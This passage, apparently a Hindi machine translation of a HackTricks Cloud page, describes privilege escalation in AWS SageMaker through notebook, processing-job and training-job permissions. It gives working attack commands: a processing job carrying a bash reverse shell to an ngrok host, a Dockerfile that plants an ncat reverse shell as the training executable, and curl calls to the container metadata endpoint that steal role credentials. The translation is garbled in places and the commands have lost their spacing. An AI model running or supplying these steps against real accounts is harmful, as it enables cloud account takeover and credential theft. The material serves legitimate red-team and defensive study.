उत्तर में एक NotebookInstanceArn फ़ील्ड शामिल होगा, जिसमें नए नोटबुक इंस्टेंस का ARN होगा। हम फिर create-presigned-notebook-instance-url API का उपयोग कर सकते हैं ताकि हम नोटबुक इंस्टेंस तैयार होने पर उस तक पहुंचने के लिए उपयोग कर सकें:
Navigate करें URL पर और ऊपर दाएं कोने में Open JupyterLab पर क्लिक करें, फिर "लॉन्चर" टैब पर स्क्रॉल करें और "अन्य" खंड के नीचे, "टर्मिनल" बटन पर क्लिक करें।
अब IAM Role के मेटाडेटा क्रेडेंशियल तक पहुंचना संभव है।
संभावित प्रभाव: निर्दिष्ट सेजमेकर सेवा भूमिका को प्राइवेस्क करना।
sagemaker:CreatePresignedNotebookInstanceUrl
अगर उस पर पहले से ही Jupyter नोटबुक चल रहे हैं और आप उन्हें sagemaker:ListNotebookInstances के साथ सूचीबद्ध कर सकते हैं (या किसी अन्य तरीके से उन्हें खोज सकते हैं)। आप उनके लिए एक URL उत्पन्न कर सकते हैं, उन्हें एक्सेस कर सकते हैं, और पिछली तकनीक में इंडिकेट किए गए क्रेडेंशियल्स चुरा सकते हैं।
उन अधिकारों के साथ एक हमलावर सेजमेकर को एक प्रोसेसिंग जॉब का निष्पादन करने की अनुमति है जिसमें एक सेजमेकर भूमिका संलग्न है। हमलावर को इंडिकेट कर सकता है कि कैसे एक AWS प्रबंधित ECS खाते के उदाहरण में चलाया जाएगा और संलग्न आईएएम भूमिका के क्रेडेंशियल्स चुरा सकता है।
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
संभावित प्रभाव: निर्दिष्ट सेजमेकर सेवा भूमिका को उन्नत करना।
sagemaker:CreateTrainingJob, iam:PassRole
उन अनुमतियों के साथ एक हमलावर एक प्रशिक्षण नौकरी बना सकेगा, उस पर एक विचारात्मक कंटेनर चला कर एक भूमिका संलग्न करेगा। इसलिए, हमलावर को भूमिका के क्रेडेंशियल चुरा लेने की क्षमता होगी।
यह परिदृश्य पिछले वाले से अधिक उत्पीड़न करने के लिए है क्योंकि आपको एक डॉकर छवि उत्पन्न करनी होगी जो हमलावर को सीधे रिव शैल या क्रेडेंशियल को हमलावर को भेजेगी (आप प्रशिक्षण नौकरी के विन्यास में एक प्रारंभिक कमांड नहीं दे सकते)।
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**संभावित प्रभाव:** निर्दिष्ट सेजमेकर सेवा भूमिका को उन्नत करना।
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
उन अनुमतियों के साथ एक हमलावर (संभावित रूप से) **हाइपरपैरामीटर प्रशिक्षण नौकरी** बना सकता है, उस पर **किसी भी आरबिट्रेरी कंटेनर को चला सकता है** जिसमें एक **भूमिका संलग्न** है।\
_मैंने समय की कमी के कारण उत्पीड़न नहीं किया है, लेकिन पिछले उत्पीड़नों के समान दिखता है, उत्पीड़न विवरण के साथ पीआर भेजने के लिए स्वतंत्र महसूस करें।_
# संदर्भ
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) से या हमें **ट्विटर** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
</details>